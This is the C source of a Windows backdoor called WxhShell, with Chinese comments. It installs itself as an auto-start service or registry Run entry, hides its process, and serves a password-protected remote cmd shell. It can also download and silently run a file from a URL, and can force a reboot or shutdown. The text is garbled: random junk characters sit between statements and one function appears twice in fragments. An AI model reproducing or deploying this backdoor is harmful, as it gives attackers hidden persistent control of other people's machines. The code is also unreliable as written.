G3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'LO^< if(NULL == hInst ) return 0; :gep:4&u 2fWTY0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `wDl<[V g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,uSQNre\j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -@0GcUE:r x3o]U)^ if (!NtQueryInformationProcess) return 0; EV*IoE$W]= d%V*|0c) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tF{D= ;G if(!hProcess) return 0; [E/\#4b V;,{} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qLB)XnQ Ht&:-F+dm CloseHandle(hProcess); osX8eX]\ B>0].CK` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gk0( ANx if(hProcess==NULL) return 0; fmb} 2h "HDcmIXg& HMODULE hMod; mqSQL}vR char procName[255]; ^h"`}[+ unsigned long cbNeeded; ?'KL11@R @NNq z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SV~cJ]F q)^Jj?W CloseHandle(hProcess); \cUC9/
b VB,?Mo}R if(strstr(procName,"services")) return 1; // 以服务启动 4}eepJOn qa0 yg8,< return 0; // 注册表启动 mjKS{ } Yd#/1!A7u {l/-LZ. // 主模块 2kIa*#VOJ int StartWxhshell(LPSTR lpCmdLine) z$?~Y(EY { f]\CD<g3|E SOCKET wsl; 2C9V|[U, BOOL val=TRUE; 4Za7^c. int port=0; 8&)DE@W struct sockaddr_in door; Wb?8j M $D|e>U if(wscfg.ws_autoins) Install(); T<55a6NoK 4DL) rkO port=atoi(lpCmdLine);
l%1!a woD>!r>) if(port<=0) port=wscfg.ws_port; SU/BQ3 *rIk:FehLB WSADATA data; ;3B1_vo9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NqDHCI vM*($qpAy if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q@nP}Pv&5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~e+\k>^eN door.sin_family = AF_INET; gT#&"aP5S door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ytJ=0r door.sin_port = htons(port); c0;t4(
&8 'VlDh`<W if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q=/</| closesocket(wsl); :$m}UA-9 return 1; (}EB2V9Hh } L.jh |ayVjqJ* if(listen(wsl,2) == INVALID_SOCKET) { }l],.J\BGX closesocket(wsl); &iA?+kV return 1; +KvU$9Ad> } q gLaa Wxhshell(wsl); Pl"Nus WSACleanup(); s0k`p<q n1VaLD return 0; qT`k*i? %Ntcvp) } N#DYJ-~* q(.:9A*0 // 以NT服务方式启动 b;cdIl!3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C0}IE,] { bdF.qO9
DWORD status = 0; -/ g B|J DWORD specificError = 0xfffffff; CJJzCVj :QB<?HaS' serviceStatus.dwServiceType = SERVICE_WIN32; 17G'jiYH serviceStatus.dwCurrentState = SERVICE_START_PENDING; TTt#a6eJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *22nVKi{ serviceStatus.dwWin32ExitCode = 0; hR
Ue<0o: serviceStatus.dwServiceSpecificExitCode = 0; [5+}rwm&W serviceStatus.dwCheckPoint = 0; a+!tT!g&I serviceStatus.dwWaitHint = 0; 7lBAxqr2 .QN>z-YA6: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pnbIiyV if (hServiceStatusHandle==0) return; wT:b\km:! t-0a7
1#e status = GetLastError(); Xt@Z}B))pu if (status!=NO_ERROR) cxr=k%~}J { INi]R^- serviceStatus.dwCurrentState = SERVICE_STOPPED; Y!gCMLL serviceStatus.dwCheckPoint = 0; b7wvaRe. serviceStatus.dwWaitHint = 0; 8F&=a,ps[ serviceStatus.dwWin32ExitCode = status; qIIv6''5@ serviceStatus.dwServiceSpecificExitCode = specificError; h?8]C#6^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); <\}KT*Xp return;
?l^1 *Q, } zN"J}r: P)MDPI+~ serviceStatus.dwCurrentState = SERVICE_RUNNING; (KF=On;=Y serviceStatus.dwCheckPoint = 0; Ooq! 0g serviceStatus.dwWaitHint = 0; v4.#;F.\m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oWC@w } D(H>R&b! h?;T7|^ // 处理NT服务事件,比如:启动、停止 TG+VEL |T VOID WINAPI NTServiceHandler(DWORD fdwControl) Ndcg/d { #[`:'e switch(fdwControl) vWf;
'j { < VSA case SERVICE_CONTROL_STOP: @qnD=mE serviceStatus.dwWin32ExitCode = 0; 6w(6}m.L^ serviceStatus.dwCurrentState = SERVICE_STOPPED; U}PiY"S< serviceStatus.dwCheckPoint = 0; _G.>+!"2/
serviceStatus.dwWaitHint = 0; UM6(s@$ { "G@g" gP SetServiceStatus(hServiceStatusHandle, &serviceStatus); mM-8+H?~b } ktdW`R\+ return; $+3}po\ case SERVICE_CONTROL_PAUSE: X7i/fm{l' serviceStatus.dwCurrentState = SERVICE_PAUSED; kT!9`S\ break; pFHz"] case SERVICE_CONTROL_CONTINUE: 7El[ > serviceStatus.dwCurrentState = SERVICE_RUNNING; t[oT-r break; ZObhF#Y9 case SERVICE_CONTROL_INTERROGATE: 5_z33,q2 break;
OPx`u }; 2U:H545]] SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y5FbU } PX
n;C/ ##V5-ZG{: // 标准应用程序主函数 tP2qK_\e= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $a"n1ou { s+EAB{w$ Gmq/3tw // 获取操作系统版本 9J>&29@us0 OsIsNt=GetOsVer(); nCj2N,mT GetModuleFileName(NULL,ExeFile,MAX_PATH); - qy6Un+ c(n&A~*AJ% // 从命令行安装 6^"=dn6K if(strpbrk(lpCmdLine,"iI")) Install(); 'toa@5 nx^]>w // 下载执行文件 Qe}`~a9P if(wscfg.ws_downexe) { Xp8]qH|K if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vL\&6n~M> WinExec(wscfg.ws_filenam,SW_HIDE); <B6&I$Wc+ } d)R:9M}v WeQk<y if(!OsIsNt) { ( 2n>A D_ // 如果时win9x,隐藏进程并且设置为注册表启动 V8HnUuz HideProc(); pk3<| StartWxhshell(lpCmdLine); 6u`)QUmItg } C~N/A73gF else 0VGPEKRh if(StartFromService()) L_+k12lm // 以服务方式启动 k'IYA#T6 StartServiceCtrlDispatcher(DispatchTable); }c`fW& else _;~,Cgfi // 普通方式启动 I]Dl / StartWxhshell(lpCmdLine); ~D5\O6mU- OQ>x5?um
return 0; o(r\E0I } R&Jm
+3N CO2C{~Q5 ;ml)l~~YU ;r>snJ=M =========================================== Pp`*]Ib bVL9vNK 3plzHz ,x "(3BvMA&!9 8-_QFgY bX*Hi#J~A " vt;{9\Y nM-h&na{s #include <stdio.h> V {pj~D.E #include <string.h> lI-L`
x #include <windows.h> o_D?t-XH #include <winsock2.h> Lv'D^'I #include <winsvc.h> &*7?)eI!i #include <urlmon.h> DV\`Wv @1 U&UH #pragma comment (lib, "Ws2_32.lib") j^;I3_P #pragma comment (lib, "urlmon.lib") jGEt+\"/QJ D!.+Y-+Xzu #define MAX_USER 100 // 最大客户端连接数 -t2+|J*
#define BUF_SOCK 200 // sock buffer -#2)?NkeE #define KEY_BUFF 255 // 输入 buffer _jNj-)RB_ v}tag#f5>? #define REBOOT 0 // 重启 @W^| ? #define SHUTDOWN 1 // 关机 P '>SmQ }p!HT6 tZ #define DEF_PORT 5000 // 监听端口 /u0'
6V FFH_d <q #define REG_LEN 16 // 注册表键长度 NDs!a #define SVC_LEN 80 // NT服务名长度 niqN{ `xywho%/Y // 从dll定义API 6q]5Es< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 72X0Tq 4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '{J&M|<A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <YOLx R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AjT%]9
V? Xy@7y[s] // wxhshell配置信息 1 29q`u; struct WSCFG { *+\SyO int ws_port; // 监听端口 SnFk>` char ws_passstr[REG_LEN]; // 口令 Yb/i{@AJ int ws_autoins; // 安装标记, 1=yes 0=no tX@_fYb char ws_regname[REG_LEN]; // 注册表键名 59%tXiO char ws_svcname[REG_LEN]; // 服务名 wmTq` XH) char ws_svcdisp[SVC_LEN]; // 服务显示名 AwTJJ0> char ws_svcdesc[SVC_LEN]; // 服务描述信息 \uXcLhXN char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j~+>o[c int ws_downexe; // 下载执行标记, 1=yes 0=no )E,\H@A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y-j\zK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1xbK'i:-S 8:#rA*Y }; Pp|*J^U 4 ;Wl+zw // default Wxhshell configuration w^#L9i'v' struct WSCFG wscfg={DEF_PORT, "7v @Rye "xuhuanlingzhe", 2con[!U 1, m<w"T7 "Wxhshell", Ojt`^r !V "Wxhshell", wAz&"rS "WxhShell Service", * 0|IXGr "Wrsky Windows CmdShell Service", L}FOjrN "Please Input Your Password: ", HS.^y
x 1, >TP7 }u| "http://www.wrsky.com/wxhshell.exe", CXO2N1~(J "Wxhshell.exe" S=nP[s }; ecgtUb8K Cf:#(D // 消息定义模块 u_'!_T L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4lM8\Lr char *msg_ws_prompt="\n\r? for help\n\r#>"; S3@|Q\*r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TU GNq char *msg_ws_ext="\n\rExit."; [ e8x&{L-_ char *msg_ws_end="\n\rQuit."; ]b= P= char *msg_ws_boot="\n\rReboot..."; g"L|n7_b char *msg_ws_poff="\n\rShutdown..."; pFm=y#!t char *msg_ws_down="\n\rSave to "; +8#_59;x ;?6No(/ char *msg_ws_err="\n\rErr!"; r} P<iX char *msg_ws_ok="\n\rOK!"; c1_5, 1U' S_T1y char ExeFile[MAX_PATH]; ]a!xUg!S int nUser = 0; 1|?05<8 HANDLE handles[MAX_USER]; oXDN+4ge int OsIsNt; )6w}<W*1E c=
x,ijY
" SERVICE_STATUS serviceStatus; qt3PXqR7: SERVICE_STATUS_HANDLE hServiceStatusHandle; cI=r+OGk* :Mcu // 函数声明 ~\cO"(y5:O int Install(void); f_imyzP int Uninstall(void); 581e+iC~<H int DownloadFile(char *sURL, SOCKET wsh); js8{]04y int Boot(int flag); Ik[s void HideProc(void); _9?I A int GetOsVer(void); qBQ`~4s int Wxhshell(SOCKET wsl); XgxX.`H7 void TalkWithClient(void *cs); 4_UU<GEp int CmdShell(SOCKET sock); `D":Q=: int StartFromService(void); Z{
u a=0 int StartWxhshell(LPSTR lpCmdLine); $F/EJ> [tH-D$V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I`w4Xrd VOID WINAPI NTServiceHandler( DWORD fdwControl ); U|5nNiJM Z1h] // 数据结构和表定义 !bD@aVf?5 SERVICE_TABLE_ENTRY DispatchTable[] = >rP#ukr5 { X!j{o {wscfg.ws_svcname, NTServiceMain}, T /mI[*1xI {NULL, NULL} \(Pohw WWo }; _kdL'x 78Aa|AJU // 自我安装 UDc$"a}ds{ int Install(void) /\w)>0 { R'dSbn char svExeFile[MAX_PATH]; 'r@:Cz3e*I HKEY key; xESjM1A) strcpy(svExeFile,ExeFile); _6k*'aT~FK 2~*Ez!.3 // 如果是win9x系统,修改注册表设为自启动 +e-,ST&w( if(!OsIsNt) { e|rg;`AW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WH$e2[+Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F*Z=<]<+ RegCloseKey(key); $XU5??8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "iM~Hy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [<,~3oRu RegCloseKey(key); t'~/$=9}
return 0; Lqp8yVO } P1U*g! } Pe_!?:vF } /{{UP- else { `Bw9O%]-S bC^(U`y 32 // 如果是NT以上系统,安装为系统服务 'i8U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T?p`) if (schSCManager!=0) `T2$4 >! { j6,ZEm SC_HANDLE schService = CreateService IF +i3#$ ( W{5:'9, schSCManager, @<@SMK) wscfg.ws_svcname, #-Z8Z
i"44 wscfg.ws_svcdisp, kJAn4I.l SERVICE_ALL_ACCESS, ycJg%]F*5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tj*y)28- SERVICE_AUTO_START, v6GsoQmA SERVICE_ERROR_NORMAL, m,R Dr svExeFile, jDRe)bo4 NULL, 1
Vy,&[c~" NULL, u0RS)&
NULL, %y<ejM NULL, 2T)sXB u NULL 6QNs\Ucb+ ); !'f3>W\
if (schService!=0) L!'k !k { A;J MV+2N CloseServiceHandle(schService); >m'x8xB= CloseServiceHandle(schSCManager); 7$k8%lI;> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mF09U(ci strcat(svExeFile,wscfg.ws_svcname); a{!r`>I\f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3SBZ> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o:Zd1"Z RegCloseKey(key); ;XC@=RpX return 0; U{ ;l0 2S } e.o;eD}" } _Hd{sd#xX1 CloseServiceHandle(schSCManager); vU*x2fVb} } W"Jn(:& } 8yWoPm<A %>WbmpIyc return 1; Vh<A2u3& } + q''y J.RAmU < // 自我卸载 '(#g1H3 int Uninstall(void) S :8OQI { v8I{XU@% HKEY key; gLL\F1|0x nPkZHIxuD if(!OsIsNt) { -Z^4L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CkRX>)=py RegDeleteValue(key,wscfg.ws_regname); zQH]s?v RegCloseKey(key); t/Z:)4Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p8+/\Ee]B RegDeleteValue(key,wscfg.ws_regname); Dz_eB"} RegCloseKey(key); DP7C?}( return 0; 3P <'F2o } pGIe=Um0W } [rreFSy#@ } m=b~i^@ else { gor<g))\ }'=h4yI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !]S=z^"< if (schSCManager!=0) -qe bQv { l
SkEuN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l9/:FiJ_ if (schService!=0) 137Xl>nO { (\dK4JJ if(DeleteService(schService)!=0) { 2D([Z -<i CloseServiceHandle(schService); >!9h6BoGV CloseServiceHandle(schSCManager); ;t]|15]u return 0; ?A7Yk4Y.?N } c[0oh. CloseServiceHandle(schService); )9P&= } ~H[%vdR CloseServiceHandle(schSCManager); ., :uZyG } _1jw=5^P\i } c Cxi{a1uo >]}yXg=QK+ return 1; +#]|)VZ } EX?h0Uy IX?ZbtdX$` // 从指定url下载文件 *+8%kn`c int DownloadFile(char *sURL, SOCKET wsh) i~& c| { 16@);Ot HRESULT hr; "A]Y~iQ char seps[]= "/"; zfjTQMaxh char *token; G5{Ot>;*% char *file;
o A~4p( char myURL[MAX_PATH]; `W[+%b char myFILE[MAX_PATH]; XLTD;[jO &.*uc|{ strcpy(myURL,sURL); B50 [O! token=strtok(myURL,seps); 7CrpUh while(token!=NULL) o@dy:AR { 5a(<%Q
<" file=token; CtT~0Y| token=strtok(NULL,seps); '1]7zWbW } ;IC'Gq KtTza5aF GetCurrentDirectory(MAX_PATH,myFILE); kb|eQtH strcat(myFILE, "\\"); bZ#X9fT strcat(myFILE, file); 'Kis hXOn] send(wsh,myFILE,strlen(myFILE),0); aed+C:N send(wsh,"...",3,0); !*P&Eat hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); , deUsc if(hr==S_OK)
q{X T return 0; n9fk,3 else "g
`nsk return 1; g8yN%)[ _=6 OP8 } 3 C"_$?y" u3Do~RyL[ // 系统电源模块 7C5pAb: int Boot(int flag) X&\o{w9% { id?_>9@P HANDLE hToken; m.V,I}J.q TOKEN_PRIVILEGES tkp; a{_ KSg O|UxFnB} if(OsIsNt) { 8U^D(jrz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aqfL0Rg+` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ck$2Ue2`@w tkp.PrivilegeCount = 1; l(Cf7o! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 797X71> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ogeRYq,g if(flag==REBOOT) { S+FQa7k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G&o64W;-s return 0; z{6YC~ } y~p4">] else { Dq`~XS* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l#6&WWmr return 0; 9d"5wx } l^,qO3ES } aRKv+{K else { k
]bPI$ if(flag==REBOOT) { Wy(pLBmb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6_U|(f return 0; n{=7 yK } >tEK+Y|N} else { G{A)H_o* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gUGOHd(A return 0; S'?fJ. } E|,30Z+ } j m>U6 E{gv,cUM return 1; jvO3_Zt9 } hrT%XJl QSmJ`Bm // win9x进程隐藏模块 ]-KV0H void HideProc(void) @,YlmX} { fN0bIE
Y H56
^n<tg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %uEtQh[ if ( hKernel != NULL ) va>"#;37 { L *{QjH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OT+ Ee ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i7f%^7! FreeLibrary(hKernel); M*H<
n* } E&9!1!B /=trj5h return; 1uC;$Aj6: } 1$OVe4H1 1C'P)f28 // 获取操作系统版本 Wo2v5- int GetOsVer(void) &<=e_0zT { `A"Q3sf% OSVERSIONINFO winfo; H`?*
bG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bpnv &EG GetVersionEx(&winfo); hA5,w_G/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NGj"ByVjx return 1; [Gf{f\O
else }\4p3RQrz return 0; p6[#f96^u } IwM8#6;S~ yXXvs'$R \ // 客户端句柄模块 Q^|6J#o[9 int Wxhshell(SOCKET wsl) YnD#p[Wo^ { *) }
:l SOCKET wsh; bHJoEYY^ struct sockaddr_in client; QnP{$rT DWORD myID; I)rGOda{ yP%o0n/"x while(nUser<MAX_USER) HNFhH0+^ { 4$F:NW,v:) int nSize=sizeof(client); ,,}sK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,wlbIl~ if(wsh==INVALID_SOCKET) return 1; s~)L_ p "SLvUzO>q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `1$y( w] if(handles[nUser]==0) 5=m3J!? closesocket(wsh); T aEt else a(5y>HF
nUser++; EFwL.'Fh } `>\4"`I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'X|v+? ret0z| return 0; M`bL5J; } 1N>6rN `LE^:a:8, // 关闭 socket L!&$c&=xf void CloseIt(SOCKET wsh) 2H3(HZv { K Ka c6Zj closesocket(wsh); ^A- sS~w nUser--; :;q>31:h ExitThread(0); &q"'_4 } KCl &H xHm/^C&px // 客户端请求句柄 0FTRm2( void TalkWithClient(void *cs) 2q/nAQ+ { XN4oL[pO Et)920 SOCKET wsh=(SOCKET)cs; _ r~+p char pwd[SVC_LEN]; [4ee <J char cmd[KEY_BUFF]; T^N L:78 char chr[1]; t18UDR{ int i,j; ~~U< 6#fOCr;f7 while (nUser < MAX_USER) { T7^ulG1' YN4"O> if(wscfg.ws_passstr) { z2.*#xTZn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `(!W s\: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O1|B3M[P //ZeroMemory(pwd,KEY_BUFF); G&.d)NfE i=0; K/Sq2: while(i<SVC_LEN) { .|U4N/XN%q xcw%RUC- // 设置超时 9^(HXH_f fd_set FdRead; Y:rJK|m struct timeval TimeOut; NoJUx['6 FD_ZERO(&FdRead); 9jqO/_7R+ FD_SET(wsh,&FdRead); 6aRGG+H TimeOut.tv_sec=8; P$6W`^DZ TimeOut.tv_usec=0; ]c5DOv& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B'<!k7Ewy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \y[Bu^tk ^v
]UcnB0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lfXH7jL2~ pwd=chr[0]; yLjV[qP if(chr[0]==0xd || chr[0]==0xa) { +g)_4fV0| pwd=0; A S`2=w break; lt{lHat1 } kV_#9z7% i++; h -Tsi:%b } aMBL1d7 S^|$23} // 如果是非法用户,关闭 socket +:fqL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5r^1CFO } p(~Y"
H yI3Q |731) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JL?Cnk$! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 45?*:)l: w'!ECm>*` while(1) { &$<(D0 *Kp}B}}J ZeroMemory(cmd,KEY_BUFF); KbXbT -,FK{[h]ka // 自动支持客户端 telnet标准 6 #-6Bh)>4 j=0; oSN8Xn*qr while(j<KEY_BUFF) { 8mk}nex if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1P+Mv^%I cmd[j]=chr[0]; *~"zV`*Q if(chr[0]==0xa || chr[0]==0xd) { C usVW cmd[j]=0; SAd97A: break; :0WkxEY9 } v&p,Clt-2 j++; kw6cFz } j#7wyi5q }A^1q5 // 下载文件 XyvZ&d6(d if(strstr(cmd,"http://")) { j|&{e91,? send(wsh,msg_ws_down,strlen(msg_ws_down),0); V xp$#3 ;S if(DownloadFile(cmd,wsh)) 1P(%9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7msL#E7 else XC*uz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l. XknF } ,DexJ1 else { M4zX*&w.T 44'=;/ switch(cmd[0]) { n33JTqX 1y},9ym // 帮助 [B}1z case '?': { 7k'=F m6za send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Y,/dyT
Zm break; t)\D } ;[;)P tFz\ // 安装 J
ZVr&KZN case 'i': { U(rr vNt:t if(Install()) -@YVe:$%b send(wsh,msg_ws_err,strlen(msg_ws_err),0);
H;b8I else tn"Y9
k| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ATKYjhc _ break; ^zvA?'s } 'dmp4VT3 // 卸载 N90\]dFmy case 'r': { jHs<s`#h if(Uninstall()) 3C>2x(]M send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6{t%k~F else Xy[4f=X}z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {D;Xa`:O break; >v^2^$^u } Am>_4 // 显示 wxhshell 所在路径 s$f+/Hs case 'p': { >E//pr)_Km char svExeFile[MAX_PATH]; cEDDO&u strcpy(svExeFile,"\n\r"); P]!LN\[ strcat(svExeFile,ExeFile); ~bQFk?ZN+ send(wsh,svExeFile,strlen(svExeFile),0); skk-.9 break; 6'RZ } Z-N-9E // 重启 $w|o@ Ml) case 'b': { mtSNl|O&{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y&?|k'7 if(Boot(REBOOT)) UI|v/(_^F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03X<x| else { "\VW.S closesocket(wsh); t`
}20=I+ ExitThread(0); 9F2w.(m } c*y$bf< break; v+xgxQGYH } K!IF?iell // 关机 OSSd;ueur$ case 'd': { q`/amI0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1_Dn?G^H if(Boot(SHUTDOWN)) 7sQ]w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Nj:!!
AN else { S[W9G)KWp closesocket(wsh); LP5eFl`|T ExitThread(0); S1}1"y/ } qPFG+~\c break; 5?V? } lH#@^i|G // 获取shell 5;3c< case 's': { "/4s8.dw+u CmdShell(wsh); #,f}lV,& closesocket(wsh); *kX3sG$8 ExitThread(0); |@o]X?^ break; p/\$P= } JLy)}8I // 退出 7h9 fQ&y case 'x': { v$gMLu= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c8k6(#\ CloseIt(wsh); hRuo,FS#: break; !.;xt L } AmT|%j&3 // 离开 iF#}t(CrH case 'q': { &rl]$Mtt send(wsh,msg_ws_end,strlen(msg_ws_end),0); E1Ru)k{B closesocket(wsh); uPv;y!Lsa@ WSACleanup(); 9#Aipu\ exit(1); aBqe+FXp4 break; s
T
:tFK\ } GL;x:2XA } '(3Nopl } EzD
-1sJ H6%!v1 u // 提示信息 R,d70w
(_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %=NM_5a}] } ooLnJY# } j61BP8E M`9orq< return; >D`fp } f_re"d 3u 5{R#h : // shell模块句柄 dI#8CO int CmdShell(SOCKET sock) M5cOz|j/*R { Z30z<d,j STARTUPINFO si; $L<_uqSk ZeroMemory(&si,sizeof(si)); I{?E /Sc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7"a`-]Ap si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G*vpf~q? PROCESS_INFORMATION ProcessInfo; p:[`%<j0 char cmdline[]="cmd"; ?BHWzo! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1WUFk ?p return 0; *f0.= ? } )AnlFO+V |l6<GWG+ // 自身启动模式 =E{{/%u{{S int StartFromService(void) 9%3 r-U= { F$6])F typedef struct dPH!
V6r { u/!mN2{Rd DWORD ExitStatus; ~`G;=ITo DWORD PebBaseAddress; K\^&_#MG DWORD AffinityMask; /c_kj2& ]9 DWORD BasePriority; XvA0nEi ULONG UniqueProcessId; L5zG0mC8 ULONG InheritedFromUniqueProcessId; DK@w^ZW6JA } PROCESS_BASIC_INFORMATION; e~t}z_>F :"<B@Z PROCNTQSIP NtQueryInformationProcess; 6PzN>+t^y gq/ePSa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,IT)zCpaBP static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }> !"SU:d 8aZey_Hw;+ HANDLE hProcess; r7Q:l ?F2 PROCESS_BASIC_INFORMATION pbi; -_{C+Y_ l$p_])x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Qx-KRH if(NULL == hInst ) return 0; h87L8qh9 h-2E9Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OU)p)Y_z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mf*9^}l+Zn NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G>q{~HE1 *&hXJJ[+ if (!NtQueryInformationProcess) return 0; 7G>0,'XC
`G ;Lz^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -hG 9 if(!hProcess) return 0; F)E7(Un`8 0'q(XB`i= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H%01&u S0Bl?XsD_ CloseHandle(hProcess); _ntW}})K I(?|Ox9"? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ziLr }/tg if(hProcess==NULL) return 0; pzt Zb px
